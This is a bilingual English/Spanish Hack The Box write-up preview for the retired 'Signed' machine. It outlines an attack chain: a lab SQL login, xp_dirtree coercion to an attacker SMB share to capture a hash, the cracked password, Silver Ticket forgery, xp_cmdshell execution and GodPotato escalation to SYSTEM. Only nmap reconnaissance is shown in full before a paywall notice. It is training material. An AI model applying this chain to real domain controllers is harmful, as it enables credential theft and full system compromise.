Signed
Executive summary — Signed is a domain controller that exposes only MSSQL externally (Kerberos and SMB are filtered inbound), so the entire chain has to be solved through that single service. A low-privilege SQL login is used to coerce the DC itself into authenticating against an attacker-controlled SMB, capturing the MSSQL service account's NetNTLMv2 hash. Once that's cracked, a fully offline-forged Silver Ticket (no Kerberos contact needed, precisely because port 88 is blocked) grants
sysadminprivileges on the database. The final escalation is the most technically interesting part:xp_cmdshell's token has SeImpersonatePrivilege deliberately stripped, and recovering it means exploiting the fact that a loopback network logon retains privileges the process token had already lost.
| Platform | Hack The Box |
| Operating system | Windows Server 2019 |
| Difficulty | Medium |
| Status | Retired |
| Target IP | 10.129.242.173 |
Attack map
[1433] MSSQL — the only open port (Kerberos/SMB filtered)
│ scott : Sm230#C5NatH (SQL login, guest)
▼
[COERCION] xp_dirtree \\attacker\x → Responder captures mssqlsvc's NetNTLMv2
│ cracked: purPLE9795!@
▼
[OFFLINE] Silver Ticket (domain SID + NT hash + SPN MSSQLSvc + IT group) → sysadmin
│ xp_cmdshell enabled → RCE as signed\mssqlsvc (user.txt)
│ SeImpersonatePrivilege MISSING from the process token
▼
[RECOVERY] named pipe + loopback network logon (SQOS impersonation) → token with SeImpersonate
▼
[ROOT] GodPotato with the recovered token → SYSTEM → root.txt
1. Reconnaissance
nmap -sT -p- -Pn -T4 --min-rate 3000 10.129.242.173 # only 1433 (after several attempts)
nmap -sT -p1433 -Pn --script ms-sql-info,ms-sql-ntlm-info 10.129.242.173
1433/tcp open ms-sql-s Microsoft SQL Server 2022 RTM
NetBIOS_Computer_Name: DC01 DNS_Domain_Name: SIGNED.HTB DNS_Computer_Name: DC01.SIGNED.HTB
Product_Version: 10.0.17763 (Windows Server 2019 — Domain Controller)
echo "10.129.242.173 DC01.SIGNED.HTB SIGNED.HTB DC01" | sudo tee -a /etc/hosts
Only port 1433 responds from outside; neither Kerberos (88) nor SMB (445) are reachable. That rules out any technique relying on requesting a TGT from the KDC in real time — any Kerberos ticket will have to be forged offline and presented straight to the service.
Resumen ejecutivo — Signed es un controlador de dominio que expone únicamente MSSQL al exterior (Kerberos y SMB están filtrados de entrada), así que toda la cadena tiene que resolverse a través de ese único servicio. Un login SQL de bajo privilegio se usa para coaccionar al propio DC a autenticarse contra un SMB propio, capturando el hash NetNTLMv2 de la cuenta de servicio de MSSQL. Con ese hash crackeado, un Silver Ticket forjado completamente offline (sin necesitar Kerberos, precisamente porque el puerto 88 está bloqueado) da privilegios
sysadminen la base de datos. La escalada final es la más interesante técnicamente: el token dexp_cmdshelltiene SeImpersonatePrivilege eliminado a propósito, y hay que recuperarlo explotando el hecho de que un logon de red por loopback conserva privilegios que el token del proceso ya había perdido.
| Plataforma | Hack The Box |
| Sistema operativo | Windows Server 2019 |
| Dificultad | Medium |
| Estado | Retired |
| IP objetivo | 10.129.242.173 |
Mapa del ataque
[1433] MSSQL — solo puerto abierto (Kerberos/SMB filtrados)
│ scott : Sm230#C5NatH (login SQL, guest)
▼
[COERCIÓN] xp_dirtree \\atacante\x → Responder captura NetNTLMv2 de mssqlsvc
│ crackeado: purPLE9795!@
▼
[OFFLINE] Silver Ticket (SID dominio + NT hash + SPN MSSQLSvc + grupo IT) → sysadmin
│ xp_cmdshell habilitado → RCE como signed\mssqlsvc (user.txt)
│ SeImpersonatePrivilege AUSENTE en el token del proceso
▼
[RECOVERY] named pipe + logon de red loopback (SQOS impersonation) → token con SeImpersonate
▼
[ROOT] GodPotato con el token recuperado → SYSTEM → root.txt
1. Reconocimiento
nmap -sT -p- -Pn -T4 --min-rate 3000 10.129.242.173 # solo 1433 (tras varios intentos)
nmap -sT -p1433 -Pn --script ms-sql-info,ms-sql-ntlm-info 10.129.242.173
1433/tcp open ms-sql-s Microsoft SQL Server 2022 RTM
NetBIOS_Computer_Name: DC01 DNS_Domain_Name: SIGNED.HTB DNS_Computer_Name: DC01.SIGNED.HTB
Product_Version: 10.0.17763 (Windows Server 2019 — Domain Controller)
echo "10.129.242.173 DC01.SIGNED.HTB SIGNED.HTB DC01" | sudo tee -a /etc/hosts
Solo el puerto 1433 responde desde fuera; ni Kerberos (88) ni SMB (445) están accesibles. Esto descarta de entrada cualquier técnica que dependa de pedir un TGT al KDC en tiempo real — cualquier ticket Kerberos tendrá que forjarse offline y presentarse directamente al servicio.
This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.
See Root Access plansNo account? Create one free then upgrade from your console.
Este contenido es solo para Root Access. Todo lo demás del sitio — el nivel gratuito, toda la biblioteca pública — sigue abierto.
Ver planes de Root Access¿Sin cuenta? Crea una gratis y luego mejora desde tu consola.